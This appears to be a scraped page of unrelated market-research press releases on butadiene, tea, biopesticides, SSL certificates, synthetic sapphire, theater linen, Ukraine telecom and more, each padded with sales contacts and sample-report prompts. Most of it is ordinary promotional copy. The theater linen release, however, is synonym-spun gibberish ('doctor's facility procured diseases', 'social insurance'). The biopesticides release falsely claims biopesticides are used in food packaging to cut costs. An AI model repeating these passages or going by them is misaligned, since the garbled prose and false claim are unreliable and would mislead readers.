Synthetic butadiene is produced from a mixture of C4 feedstock and is further processed to obtain derivatives such as ABS, SB rubber, and SB latex. These derivatives are employed in tire and automotive industries. Bio-based butadiene is likely to be the fastest-growing product segment of the synthetic & bio-based butadiene market in the next few years. Stringent regulations are primarily boosting growth of the bio-based butadiene market. Alignment towards eco-friendly and cost-competitive production is estimated to drive the market growth during the forecast period.In terms of demand, butadiene rubber has been dominating the synthetic & bio-based butadiene market in the past years. Butadiene rubber is primarily used in tire production; however, it is also used as an additive in plastics such as polystyrene and ABS. SB rubber accounted for the second-largest share of the synthetic & bio-based butadiene market in 2014. SB rubber is a synthetic rubber obtained through copolymerization of butadiene and styrene and is used in the production of tire and its products. ABS and adiponitrile are considered to be among the fastest-growing application segments of the synthetic & bio-based butadiene market. A similar trend is anticipated to continue during the forecast period.Asia Pacific accounted for over 50% share of the global synthetic & bio-based butadiene in 2014. Increasing demand from China and Southeast Asia is expected to drive growth of the synthetic & bio-based butadiene market in this region. Europe and North America are likely to exhibit decline in the market growth due to lower demand and stringent regulations related to butadiene. The Middle East & Africa is expected to be one of the fastest-growing regions for synthetic & bio-based butadiene during the next decade. Growth in tire and automotive industries in this region is likely to provide potential opportunities for the butadiene market in the next few years.A sample of this report is available upon request @The report provides a comprehensive view of the synthetic & bio-based butadiene market in terms of volume and revenue. It includes current demand analysis and forecast for product segments and applications in North America, Europe, Asia Pacific, Latin America, and the Middle East & Africa. Furthermore, the report provides detailed country-wise analysis of the synthetic & bio-based butadiene market in the regions mentioned above. The synthetic & bio-based butadiene market has been divided into the following segments:About USTransparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendations.Contact USTransparency Market ResearchState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030Website:Email: sales@transparencymarketresearch.com
Mobile Business Intelligence(BI) Market Forecast to 2022

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Global Mobile Business Intelligence(BI) Market Size, Status and Forecast 2025, to its expansive database of market research reports. It also presents insights into various restraints that pose threat and highlights opportunities that will help the market pick pace in the forthcoming years. The report compiles exhaustive information obtained via proven research methodologies and from trusted sources from within the industry.Get Sample Copy of this Report @:The report analyzes the production indexes of the Global Mobile Business Intelligence(BI) Market in terms of three key categories: regions, technologies, and applications. The various regions highlighted, apart from an overall global perspective, are North America, Europe, Asia-Pacific, Latin America, and the Middle East & Africa. Each region is analyzed in terms of capacity, cost of production of devices & drugs, revenue earned, and price of raw materials.This survey reports provide overview of the revenue of the Mobile Business Intelligence(BI) market in various key regions, including an understanding of how the revenue generation patterns have changed over the recent past. The relation between the overall revenue generation figures and the sales structure of the industry in each regional segment is also explained in the report.The performance of the key product and application segments of the Mobile Business Intelligence(BI) market in each of the regional markets has been explained in the report. Likewise, each regional markets competitive dynamics have been elaborated upon by providing information about the hierarchy among the leading players operating in it. This helps provide a thorough granular analysis of the global market. The report also provides 2017-2025 forecasts for each product, application, and geographical segment of the global market.Know more about this Premium Report@:The report also covers the trends in development activities in the Global Mobile Business Intelligence(BI) Market, which includes the status of marketing channels available, the details of traders and distributors still functioning, and an analysis of the regional export and import. The report ends with a conclusion on this global market which will help the reports users assess their standing in the market as well as create successful strategies in the near future.In the last sections of the report, the manufacturers responsible for increasing the sales in the Mobile Business Intelligence(BI) Market have been presented. These manufacturers have been analyzed in terms of their manufacturing base, basic information, and competitors. In addition, the technology and product type introduced by each of these manufacturers also form a key part of this section of the report.Table of Content:Global Mobile Business Intelligence(BI) Market Research Report 2017-2022Chapter 1 Mobile Business Intelligence(BI) OverviewChapter 2 Global Economic ImpactChapter 3 Competition by ManufacturerChapter 4 Production, Revenue (Value) by Region (2017-2021)Chapter 5 Supply (Production), Consumption, Export, Import by Regions (2017-2021)Chapter 6 Production, Revenue (Value), Price Trend by TypeChapter 7 Analysis by ApplicationChapter 8 Manufacturing Cost AnalysisChapter 9 Industrial Chain, Sourcing Strategy and Downstream BuyersChapter 10 Marketing Strategy Analysis, Distributors/TradersChapter 11 Market Effect Factors AnalysisChapter 12 Market Forecast (2017-2021)Chapter 13 AppendixGet Discount report:About Research N Reports:Research N Reports is a new age market research firm where we focus on providing information that can be effectively applied. Today being a consumer driven market, companies require information to deal with the complex and dynamic world of choices. Where relying on a sound board firm for your decisions becomes crucial. Research N Reports specializes in industry analysis, market forecasts and as a result getting quality reports covering all verticals, whether be it gaining perspective on current market conditions or being ahead in the cut throat Global competition. Since we excel at business research to help businesses grow, we also offer consulting as an extended arm to our services which only helps us gain more insight into current trends and problems. Consequently we keep evolving as an all-rounder provider of viable information under one roof.Sunny Denis10916, Gold Point Dr, Houston, TX, Pin - 77064,(Sales Manager),+1-8886316977,sales@researchnreports.com ,
Secure Sockets Layerv Certification Market Development Trends and Qualitative Analysis 2022

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Qyresearchreports include new market research report Secure Sockets Layerv Certification to its huge collection of research reports.The global market for Secure Sockets Layerv Certification is discussed in detail within a new research study added recently to QYResearchReports.com. The report has been carefully examined both qualitatively and quantitatively and the results are revealed in the research report for the forecast period of 2017 to 2022. In addition to this, the various drivers and restraints, regulatory conditions, and the segmentation of this global market have also been included in the study. All data is supported by primary and secondary research methodologies. Expert analysts from the industry have also expressed their opinions on the industrial and economic scenario, creating the report as an authentic guide to the global Secure Sockets Layerv Certification market.The research report makes use of various market-tested analytical tools such as market attractiveness readings, SWOT analysis, and Porters Five Forces analysis in order to provide readers a qualitative as well as quantitative overview of the Secure Sockets Layerv Certification market. The information garnered from these research procedures is further investigated by seasoned industry analysts, who have made their contributions in the form of invaluable market insights on the workings of the global Secure Sockets Layerv Certification market.Get Sample Report of the Research Study at:The biggest and the highly influential regions in the global Secure Sockets Layerv Certification market are determined and assessed in detail within the research report. The economic factors influencing the global Secure Sockets Layerv Certification market are stated, along with a 360-degree overview of the current conditions that are influencing the direction and expansion rate of the market and the key operations in its various regional segments. Top market trends are analyzed to offer clients appropriate guidance in compiling their own market strategies for their and the global Secure Sockets Layerv Certification markets growth trajectory. The report thus provides existing and established companies as well as new entrants all the relevant data they need to create business opportunities in lucrative and thriving economies. The report helps companies of any size and caliber establish a stronger foothold in the global Secure Sockets Layerv Certification market.This report studies the global Secure Sockets Layerv Certification market, analyzes and researches the Secure Sockets Layerv Certification development status and forecast in United States, EU, Japan, China, India and Southeast Asia. This report focuses on the top players in global market, likeACTALISCertumComodoDigiCertEntrust DatacardGlobalSignGoDaddyIdenTrustLet's EncryptStartComTrustwavek...Table of Contents1 Industry Overview of Secure Sockets Layerv Certification1.1 Secure Sockets Layerv Certification Market Overview1.1.1 Secure Sockets Layerv Certification Product Scope1.1.2 Market Status and Outlook1.2 Global Secure Sockets Layerv Certification Market Size and Analysis by Regions1.2.1 United States1.2.2 EU1.2.3 Japan1.2.4 China1.2.5 India1.2.6 Southeast Asia1.3 Secure Sockets Layerv Certification Market by Type1.3.1 DV SSL Certificate1.3.2 EV SSL Certificate1.3.3 OV SSL Certificate1.4 Secure Sockets Layerv Certification Market by End Users/Application1.4.1 SMEs1.4.2 Large Enterprises1.4.3 Government Agencies2 Global Secure Sockets Layerv Certification Competition Analysis by Players2.1 Secure Sockets Layerv Certification Market Size (Value) by Players (2016 and 2017)2.2 Competitive Status and Trend2.2.1 Market Concentration Rate2.2.2 Product/Service Differences2.2.3 New Entrants2.2.4 The Technology Trends in Future3 Company (Top Players) Profiles3.1 ACTALIS3.1.1 Company Profile3.1.2 Main Business/Business Overview3.1.3 Products, Services and Solutions3.1.4 Secure Sockets Layerv Certification Revenue (Value) (2012-2017)3.1.5 Recent Developments3.2 Certum3.2.1 Company Profile3.2.2 Main Business/Business Overview3.2.3 Products, Services and Solutions3.2.4 Secure Sockets Layerv Certification Revenue (Value) (2012-2017)3.2.5 Recent Developments3.3 Comodo3.3.1 Company Profile3.3.2 Main Business/Business Overview3.3.3 Products, Services and Solutions3.3.4 Secure Sockets Layerv Certification Revenue (Value) (2012-2017)3.3.5 Recent Developments3.4 DigiCert3.4.1 Company Profile3.4.2 Main Business/Business Overview3.4.3 Products, Services and Solutions3.4.4 Secure Sockets Layerv Certification Revenue (Value) (2012-2017)3.4.5 Recent Developments3.5 Entrust Datacard3.5.1 Company Profile3.5.2 Main Business/Business Overview3.5.3 Products, Services and Solutions3.5.4 Secure Sockets Layerv Certification Revenue (Value) (2012-2017)...About QYResearchReports.comQyresearchreports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from Qyresearchreports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.Contact US:Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-618-1030Web:Email: sales@qyresearchreports.com
Tea Market Grew With $67,751 Million By 2023

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global tea market was valued at $46,392 million in 2016 and is projected to reach $67,751 million by 2023, growing at a CAGR of 5.5% from 2017 to 2023. Tea is the most commonly consumed drink after water, with several health benefits. The aromatic beverage is made via processing and fermentation of Camellia sinensis plant leaves. It contains potent antioxidants known as flavonoids, which stabilize harmful free radicals in the body. In addition, tea is comprises vitamins C, K, B12, B6, & E; trace amount of potassium, manganese, magnesium, & calcium minerals; and different amino acids such as L-theanine. Several studies and researches on tea suggest that it prevents cancer, lowers cholesterol, facilitates weight loss, and enhances immunity. Primarily, tea can be categorized into black and green tea based on the degree of fermentation or oxidation.For More Info, Get Sample :The growth of the global tea market is driven by increase in health-related concerns of people, which is shifting their attention from carbonated drinks to tea. Furthermore, rise in cafe culture, growth in disposable income, change in tastes of people, and introduction of additional healthy ingredients in tea by different market players are some other factors that drive the growth of the market. However, increase in cost of raw materials due to unpredictable weather, high cost of production, and increase in trend of coffee consumption are expected to hamper the growth of market during the forecast period. Growth in demand from health-conscious young population and introduction of new flavor & variety are anticipated to provide lucrative opportunities for expansion the market.The report segments the global tea market based on type, packaging, distribution channel, application, and geography. By type, the market is divided into green tea, black tea, oolong tea, dark tea, and others. On the basis of packaging, it is fragmented into plastic containers, loose tea (packets & pouches), paper boards, aluminum tin, and tea bags. By distribution channel, it is categorized into supermarkets/hypermarkets, specialty stores, convenience stores, online stores, and others. Applications covered in the study include residential and commercial. Geographically, the market is analyzed across North America, Europe, Asia-Pacific, and LAMEA.The major strategies adopted by key players to expand their business include new product launches and expansion in untapped regions. The market players profiled in the study are as follows: Tata Global Beverages Unilever Associated British Foods Plc. TAETEA Nestle Barry's Tea Apeejay Surrendra Group Bettys & Taylors Group Ltd. McLeod Russel ITO EN Inc.Enquire About Report :KEY BENEFITS FOR STAKEHOLDERS This report provides an extensive analysis of the current trends and emerging estimations & dynamics in the global tea market from 2016 to 2023, in terms of value and volume. Detailed analysis of the market by type helps understand the different types of tea products that are currently in use, and the variants that are expected to gain prominence in the future. Porters Five Forces analysis highlights the potency of buyers and suppliers to offer a competitive advantage to stakeholders to make profit-oriented business decisions and help strengthen their supplier & buyer network. Extensive analysis of the market is conducted by following key product positioning and monitoring the top competitors within the market framework. Market share for all segments with respect to each geography is detailed in the report, which helps understand the trends in the industry.KEY MARKET SEGMENTSBy Type Green Tea Black Tea Oolong Tea Herbal/Fruit Tea Others (White Tea, Dark Tea, and Yellow Tea)By Packaging Plastic Containers Loose Tea (Packets & Pouches) Paper Boards Aluminum Tin Tea BagsAlso Request For Discount :By Distribution Channel Supermarkets/Hypermarkets Specialty Stores Convenience Stores Online Stores OthersBy Application Residential CommercialBy Geography North America U.S. Canada Mexico Europe UK Germany France Italy Spain Russia Rest of the Europe Asia-Pacific China India Japan Korea Australia Pakistan Rest of the Asia-Pacific LAMEA Brazil South Africa Turkey KSA Egypt Rest of the LAMEAOTHER KEY PLAYERS Mighty Leaf Tea Company Numi Organic Tea The Republic of Tea Tazo Tea Company Teavana Celestial Seasonings, Inc. Fukujuen Harney and Sons Kazi Tea M. M. Ispahani Limited DavidsTea Tim Hortons Godrej GroupTable Of Contents CHAPTER 1. INTRODUCTION CHAPTER 2. EXECUTIVE SUMMARY CHAPTER 3. MARKET OVERVIEW CHAPTER 4. GLOBAL TEA MARKET, BY TYPE CHAPTER 5. GLOBAL TEA MARKET, BY PACKAGING CHAPTER 6. GLOBAL TEA MARKET, BY DISTRIBUTION CHANNEL CHAPTER 7. GLOBAL TEA MARKET, BY APPLICATION CHAPTER 8. GLOBAL TEA MARKET, BY GEOGRAPHY CHAPTER 9. COMPANY PROFILESAbout UsWe have a large database of quality and precise market research reports that will be very beneficial for your organization. Reports that we sell our authentic in nature and from reputed publishers, hence it can definitely help you with your growth opportunities. Research Beam will always make sure to bring most ethical and high quality reports. We value your relationship with us and look forward for a long term relation.Contact UsGlobal Head Quarters5933 NE Win Sivers Drive,#205, Portland, OR 97220United States+1 (800) 910-6452help@researchbeam.com
Biopesticides Market To Reach $11,176 Million By 2022

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The global biopesticides market is expected to reach $11,176 million by 2022 from $3,738 million in 2015, registering a CAGR of 16.9% from 2016 to 2022. Biopesticides are essentially microbial toxins that can be defined as a biological poison derived from a microorganism, such as a bacterium or fungus. Pathogenesis by microbial entomopathogens occurs by invasion of pathogen through the gut of the insect followed by its multiplication, resulting to death of the insect.For More Info, Get Sample :The demand for organic products and other produced through organic farming are the major drivers for the biopesticides market. Led by bacillus thuringiensis (bt)-based products, biopesticides have achieved market penetration as a replacement for conventional insecticides, nematicides, and fungicides in agricultural applications. Furthermore, increase in costs for synthetic pesticide application help to drive the biopesticides market. This gives biopesticide manufacturers a tremendous opportunity to gain market shares through commercial and organic farming production.Biopesticides has extensive applications in food packaging, which is one of the key factors that drives the market growth. Furthermore, increased demand for convenient and easy-to-use packaging has resulted in the increased requirements for barrier properties to keep the food fresh and enhance its shelf life. The packaging manufacturers use biopesticides in food products to eliminate wastage of material and for easy and customized packaging. Moreover, biopesticides reduces packaging costs for food products, which leads to their augmented adoption.There are currently four top global manufacturers of biopesticides (i.e., Agraquest, Certis, Koppert, and Valent Biosciences). Koppert is a leading supplier of predators, while the other companies specialize in microbial and bacterial products. Their market shares are difficult to determine as most are either privately owned or a small part of larger synthetic pesticide parent companies. For example, Agraquest was purchased by Bayer CropScience in 2012, Certis is part of Mitsuis AgriScience Division, and Valent is part of Sumitomo Chemical Company.The report segments the global biopesticides market on the basis of type, crop type, and geography. Based on type, it is divided into microbial, predators, and others. The microbial segment is further subsegmented into bacterial, fungal, and viral. The predators segment is further classified into bugs & beetles, nematodes, and parasites. Based on crop type, it is categorized into orchards, grazing & dry land, and field crops. Geographically, it is analyzed across North America, Europe, Asia-Pacific, and LAMEA. Asia-Pacific is expected to witness highest growth rate during the forecast period.Key Market Players Actagro LLC. Ag Biochem Inc. Agbitech Pty Ltd. Bio-Tech Ltd. Amit Biotech Amvac Chemical Andermatt Biocontrol AG Arbico Organics Bayer BASF Corp.Enquire About Report :The global biopesticides market is highly competitive, owing to the presence of several well-established manufacturers and vendors. The market undergoes significant consolidation over the last few years, and this trend is expected to continue further, due to the growth in acceptance of biopesticides and technological advancements.KEY BENEFITS FOR STAKEHOLDERS This report provides an extensive analysis of the current trends and emerging estimations and dynamics in the global biopesticides market through 20142022, which assists in identifying the prevailing market opportunities. Exhaustive analysis facilitates to understand the type of biopesticides that are expected to gain prominence in the near future. Extensive analysis of various type of crops on which biopesticides are used. A detailed analysis is conducted by following key product positioning and monitoring the top competitors within the market framework. Key market players are profiled and their strategies are analyzed thoroughly, which help to understand the competitive outlook of the market.Biopesticides Market Key Segments:By Type Microbial Bacterial Fungal Viral Predator Bugs & Beetles Nematodes Parasites Others (Pheromones and Protozoa)By Crop Type Orchards Grazing & Dry Land Field CropsBy Geography North America U.S. Canada Mexico Europe France Germany Italy Spain Rest of Europe Asia-Pacific India China Australia Rest of Asia-Pacific LAMEA Brazil Argentina Rest of LAMEAAlso Request For Discount :Other prominent market players are: Bedoukian Research Inc. Bioag Alliance, Biologic Co. Biogard Biosafe Systems LLC. Biotepp Bioworks Inc. Bonide Products Certis Usa LLC. Dow Agrosciences Dsm Food Specialties Embrapa Milho E SorgoTable Of Content CHAPTER 1 INTRODUCTION CHAPTER 2 EXECUTIVE SUMMARY CHAPTER 3 MARKET OVERVIEW CHAPTER 4 BIOPESTICIDES MARKET, BY TYPE CHAPTER 5 BIOPESTICIDES MARKET, BY CROP TYPE CHAPTER 6 BIOPESTICIDES MARKET, BY GEOGRAPHY CHAPTER 7 COMPANY PROFILESAbout UsWe have a large database of quality and precise market research reports that will be very beneficial for your organization. Reports that we sell our authentic in nature and from reputed publishers, hence it can definitely help you with your growth opportunities. Research Beam will always make sure to bring most ethical and high quality reports. We value your relationship with us and look forward for a long term relation.Contact UsGlobal Head Quarters5933 NE Win Sivers Drive,#205, Portland, OR 97220United States+1 (800) 910-6452help@researchbeam.com
Global Specialty Food Ingredients Market 2017- Cargill, Archer Daniel Midland, Royal DSM, General Mills

Global Specialty Food Ingredients Market

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Apex Market Reports, recently published a detailed market research study focused on the "Specialty Food Ingredients Market" across the global, regional and country level. The report provides 360 analysis of "Specialty Food Ingredients Market" from view of manufacturers, regions, product types and end industries. The research report analyses and provides the historical data along with current performance of the global Specialty Food Ingredients industry, and estimates the future trend of Specialty Food Ingredients market on the basis of this detailed study. The study shares "Specialty Food Ingredients Market" performance both in terms of volume and revenue.Get Free Sample Copy of Report Here:Top Manufacturers Analysis of This ReportCargillArcher Daniel MidlandRoyal DSMGeneral MillsDuPontKerry GroupsPepsicoGivaudan FlavorsSensient TechnologiesCHR. HansenIngredionTate & LyleIngredion IncorporatedLonza GroupHerbal LifeThe market research report explores the Specialty Food Ingredients market across the globe along with major regions and countries. The research report provides a detailed study on each and every aspect of "Specialty Food Ingredients Market". The research report studies the entire value chain from raw material to end user industries. The report also shares import/export statistics along with production and consumption for all major regions and countries. Moreover, the research study classifies the Specialty Food Ingredients market based on major product types, application and end users industries of Specialty Food Ingredients. Besides, the report also covers geographical segmentation for Specialty Food Ingredients market. The report further provides production, capacity, price per region, gross margin, production cost, for all major regions and countries listed in report.The competitive landscape of the global market for Specialty Food Ingredients is determined by assessing the major industry participants, production capacity, production capacity utilization rate, Specialty Food Ingredients market's production chain, pricing by each manufacturer and the revenue generated by each manufacturer in the Specialty Food Ingredients market globally.Enquire Before Buying @The Global Specialty Food Ingredients market 2017 is further analyzed on the basis of product pricing, Specialty Food Ingredients production volume, data pertaining to demand and Specialty Food Ingredients supply, and the revenue garnered by the product. The report provides upstream and downstream analysis covering major raw material used in manufacturing of Specialty Food Ingredients along with detailed manufacturing sources. The report also shares list of major raw material manufacturers along with their manufacturing locations. Detailed raw material price trend analysis along with manufacturing cost analysis is also incorporated into the report. Various methodical tools such as investment returns, feasibility, SWOT analysis and market attractiveness analysis has been implemented in the research study to present a comprehensive, detailed study of the industry for Specialty Food Ingredients across the world.About UsApex Market Reports offers elevating market research globally. We have collection of various syndicated reports of different categories. Apex Market Reports provides you to best services, weather youre searching for new trends in market or competitive scenario in emerging market.Customers can buys different reports across various categories such as Chemical and Material, Biotechnology, Healthcare, Food and beverages, Automobile and various sectors. Our Website offers safe and secure online ordering experience, convenient payment options.Contact UsFrank ValadezCorporate Sales Specialist155 North Wacker Drive, Suite 4250Chicago, IL 60606Phone: +17739042683Email id - sales@apexmarketreports.comWebsite -
Global Synthetic Sapphire Market 2017 Industry Key Players -Rubicon Technology Inc., Kyocera Corporation, Saint Gobain, Schott AG, Monocrystal Inc.,..

Synthetic Sapphire Market

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Synthetic Sapphire Market:WiseGuyReports.com adds Synthetic Sapphire Market 2017 Global Analysis, Growth, Trends and Opportunities Research Report Forecasting to 2022reports to its database.Executive SummaryA comprehensive research report created through extensive primary research (inputs from industry experts, companies, stakeholders) and secondary research, the report aims to present the analysis of Global Synthetic Sapphire Market: Analysis By Value, By Volume, By Application (Optics, Sapphire Substrates, Display, others), By End User (LED Manufacturing, Consumer Electronics, Industrial, Semiconductor, Others), By Region (North America, Europe, Asia Pacific and Rest of the world) and By Country (U.S., Canada, United Kingdom, Germany, Japan and China: (2017-2022).According to Analytics research report, Global Synthetic Sapphire Market (Value, Volume): Analysis By End Use Sector (LED, Consumer Electronics, Semiconductor, Industrial, Others), Application (Optics, sapphire substrates, Display, Others), By Region, By Country: Opportunities and Forecast (2017-2022) global market is projected to display a robust growth represented by a CAGR of 7.48% during 2017  2022.The consumer electronics segment has witnessed growth at a noteworthy rate over the past few years and in the forecast period. On the heels of rising demand for smartphone and other consumer electronic products particularly in developing countries including China, India, etc. and rising demand for LED TVs, the contribution of consumer electronics segment has been on a rise. Amongst the regions, Asia Pacific accounts for the largest regional share in the global synthetic sapphire market in 2016. Emerging nations in Asia Pacific region such as Taiwan and China have been displaying a lot of potential and are the major manufacturers of synthetic sapphire.Request Sample Report @The report titled Global Synthetic Sapphire Market (Value, Volume): Analysis By End Use Sector (LED, Consumer Electronics, Semiconductor, Industrial, Others), Application (Optics, sapphire substrates, Display, Others), By Region, By Country: Opportunities and Forecast (2017-2022) has covered and analysed the potential of Global Sapphire Market and provides statistics and information on market size, shares and growth factors. The report intends to provide cutting-edge market intelligence and help decision makers take sound investment evaluation. Besides, the report also identifies and analyses the emerging trends along with major drivers, challenges and opportunities in the global sapphire market. Additionally, the report also highlights market entry strategies for various companies across the globe.Scope of the ReportGlobal Market (Actual Period: 2012-2016, Forecast Period: 2017-2022) Synthetic Sapphire Market - By Value, By Volume By Application  Optics, Sapphire Substrates, Display, Others By End Use Sector - LED Manufacturing, Consumer Electronics, Semiconductor, Industrial, OthersRegional Markets  North America, Europe, APAC and Rest of the World (Actual Period: 2012-2016, Forecast Period: 2017-2022) Synthetic Sapphire Market - By Value, By Volume By Application  Optics, Sapphire Substrates, Display, Others By End Use Sector - LED Manufacturing, Consumer Electronics, Semiconductor, Industrial, OthersCountry Analysis - US, Canada, Germany, United Kingdom, China, Japan, (Actual Period: 2012-2016, Forecast Period: 2017-2022) Synthetic Sapphire Market - By Value, By Volume By Application  Optics, Sapphire Substrates, Display, Others By End Use Sector - LED Manufacturing, Consumer Electronics, Semiconductor, Industrial, OthersFor further information on this report, visit -Other Report Highlights Market Dynamics  Drivers and Restraints Market Trends Porter's Five Forces Analysis Competitive Landscape- Product Benchmarking of key industry players- Region Wise Key Manufacturers- Company Analysis - Rubicon Technology Inc., Kyocera Corporation, Saint Gobain, Schott AG, Monocrystal Inc., Crystalwise Technology Inc, Iljin Display Co Ltd, Namiki Group, Juropol sp. z.o.o., Hansol Technics Co. Ltd.Customization of the ReportThe report could be customized according to the clients specific research requirements. No additional cost will be required to pay for limited additional research.Table of content:1. Introduction2. Global Synthetic Sapphire Market: An Analysis3. North America Synthetic Sapphire Market: An Analysis4. Europe Synthetic Sapphire Market: An Analysis5. Asia Pacific Synthetic Sapphire Market: An Analysis6. Global Synthetic Sapphire Production: By Region7. Market Dynamics8. Competitive Landscape8.1. Region wise leading companies8.2. Company Profiles8.2.1. Rubicon Technology Inc.8.2.2. Kyocera Corporation8.2.3. Saint Gobain8.2.4. Schott AG8.2.5. Monocrystal Inc.8.2.6. Crystalwise Technology Inc8.2.7. Iljin Display Co Ltd8.2.8. Namiki Group8.2.9. Juropol sp. z.o.o.8.2.10. Hansol Technics Co. Ltd.ContinuousBuy this Report @Contact Us:Norah Trentsales@wiseguyreports.comPh: +1-646-845-9349 (US); +44 208 133 9349 (UK)About Us:Wise Guy Reports Is Part Of The Wise Guy Consultants Pvt. Ltd. And Offers Premium Progressive Statistical Surveying, Market Research Reports, Analysis & Forecast Data For Industries And Governments Around The Globe. Wise Guy Reports Features An Exhaustive List Of Market Research Reports From Hundreds Of Publishers Worldwide. We Boast A Database Spanning Virtually Every Market Category And An Even More Comprehensive Collection Of Market Research Reports Under These Categories And Sub-Categories.Addres:WISEGUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, IndiaPhone :+91 841 198 5042
Theater Linen Market : Key Growth Factors and Industry Analysis 2017 - 2025

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Global Theater Linen Market for Health Care Application: OverviewIn the previous couple of years, the focus of the healthcare services industry on methods for forestalling clinic procured contaminations has extensively expanded. Doctor's facility procured diseases spread because of the unhygienic utilization of surgical instruments and surgical fabrics, for example, wraps, cotton balls, and gloves. As a measure of counteractive action, doctor's facilities are taking basic think about the utilization of materials in working rooms that are seriously filthy and can prompt a few infectious illnesses. Attributable to this, the interest for perfect and clean linen, particularly in working rooms, is required to rise fundamentally in the following couple of years.The market for theater linen for medicinal services application is likewise anticipated that would increase critical footing attributable to the expanded worldwide interest for complex and clean social insurance offices. Rising ventures of medicinal services specialist organizations went for giving high caliber and sterile offices to patients as enhanced and mechanically propelled restorative gear, and spotless and clean garbs for patients is required to essentially drive the market sooner rather than later.Request Sample Copy of the Report @Global Theater Linen Market for Health Care Application: Drivers and RestraintsIn the previous couple of years, the concentrate of the social insurance industry on methods for forestalling doctor's facility obtained diseases has impressively expanded. Healing facility procured diseases spread because of the unhygienic utilization of surgical instruments and surgical materials, for example, wraps, cotton balls, and gloves. As a measure of counteractive action, clinics are taking basic think about the utilization of materials in working rooms that are severely dirty and can prompt a few infectious maladies. Inferable from this, the interest for spotless and clean linen, particularly in working rooms, is required to rise fundamentally in the following couple of years.Losses brought about because of linen misusing, which alludes to the transfer or vanishing of a towel, sheet, or different items previously it has achieved the coveted end-client, hugely affects the theater linen market.Ask An Expert @Linen loss is broad and exorbitant. A study has said that about 90% of all material utilized as a part of healing centers in the U.S. does not achieve the proposed end-client. If not tended to viably, the issue can have a huge negative effect on the general utilization of theater linen in the healthcare services industry sooner rather than later.Global Theater Linen Market for Health Care Application: Regional AnalysisThe surge sought after for modern and clean healthcare offices is the unmistakable factor driving the theater linen market for healthcare application in Asia Pacific. Asia Pacific is likewise anticipated that would remain the most appealing area over the coming years.Expansion in outside speculations and positive government arrangements are probably going to give huge development chances to the Asia Pacific theater linen market for healthcare application over the coming years. Development in expendable earnings and buy control equality have urged individuals to spend more on enhanced and complex medicinal pleasantries in Asia Pacific. Europe and North America are the other two significant territorial markets for theater linen. All things considered, the locales held a dominant share of the worldwide theater linen market for healthcare application in 2015. The theater linen market in these areas is evaluated to extend at a genuinely stable rate amid the gauge time frame.Read Comprehensive Overview of Report@Global Theater Linen Market for Health Care Application: Vendor LandscapeSome of the key vendors operating in the global theater linen market are ImageFIRST Healthcare Laundry Specialists, Inc., Hospital Central Services, Inc. and Affiliates (HCSC), Towel & Linen (Pty) Ltd, Angelica Corporation, Crothall Healthcare, and Synergy Health PLCAbout TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050
Ukraine Intelligence Market 2017: Key Players Kyivstar, Vodafone Ukraine (MTS), Ukrtelecom, lifecell

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Pune, India, 19th December 2017: WiseGuyReports announced addition of new report, titled Ukraine: Country Intelligence Report.Summary"Ukraine: Country Intelligence Report", a new Country Intelligence Report provides an executive-level overview of the telecommunications market in Ukraine today, with detailed forecasts of key indicators up to 2022. Published annually, the report provides detailed analysis of the near-term opportunities, competitive dynamics and evolution of demand by service type and technology/platform across the fixed telephony, broadband, mobile and pay-TV, as well as a review of key regulatory trends.Mobile voice will be the largest revenue-contributing segment in 2017. The telecom service revenue growth in Ukraine over 2017-2022 will be mainly driven by mobile data. Going forward, operators will focus on data-centric services and invest in 3G and FTTH deployments to expand coverage and boost broadband penetration in the country. Operators push for 4G/LTE launch will drive mobile data revenue going further.GET SAMPLE REPORT @Companies mentionedKyivstarVodafone Ukraine (MTS)UkrtelecomlifecellVegaVoliaTriMobViasatNTV PlusDatagroupNTV PlusPoverhostThe Country Intelligence Report provides in-depth analysis of the following -- Demographic and macroeconomic context in Ukraine.- The regulatory environment and trends: a review of the regulatory setting and agenda for the next 18-24 months as well as relevant developments pertaining to spectrum licensing, national broadband plans, tariff regulation and more.- Telecom and pay-TV services market outlook: analysis as well as historical figures and forecasts of service revenue from the fixed telephony, broadband, mobile voice, mobile data and pay-TV markets.- The competitive landscape: an examination of the positioning of leading players in the telecom and pay-TV services market as well as subscription market shares across segments.- Company snapshots: analysis of the financial position of leading service providers in the telecommunications and pay-TV markets.- Underlying assumptions behind our published base-case forecasts, as well as potential market developments that would alter, either positively or negatively, our base-case outlook.Scope- The overall telecom service revenue in Ukraine will grow at a CAGR of 1.4% (5.7% in UAH) during 2017-2022.- Mobile revenue will account for 82.8% of the total telecom revenue in 2022, driven by increasing adoption of mobile broadband services.- 3G is currently the most adopted mobile technology led by widespread expansion of 3G networks by operators.- The top two mobile operators, Kyivstar and Vodafone Ukraine, accounted for 82.0% share of overall mobile subscriptions in 2017. We expect the competition to intensify further as all operators are expanding 3G networks and planning to launch 4G/LTE in 2018 to enhance network speed and capacity to compete in the market.- Operators will also invest in fiber network deployments to improve fixed broadband connectivity and cater to the rising data demand.Reasons to buy- This Country Intelligence Report offers a thorough, forward-looking analysis of Ukraines telecommunications markets, service providers and key opportunities in a concise format to help executives build proactive and profitable growth strategies.- Accompanying Forecast products, the report examines the assumptions and drivers behind ongoing and upcoming trends in Ukraines mobile communications, fixed telephony, broadband markets, including the evolution of service provider market shares.- With more than 20 charts and tables, the report is designed for an executive-level audience, boasting presentation quality.- The report provides an easily digestible market assessment for decision-makers built around in-depth information 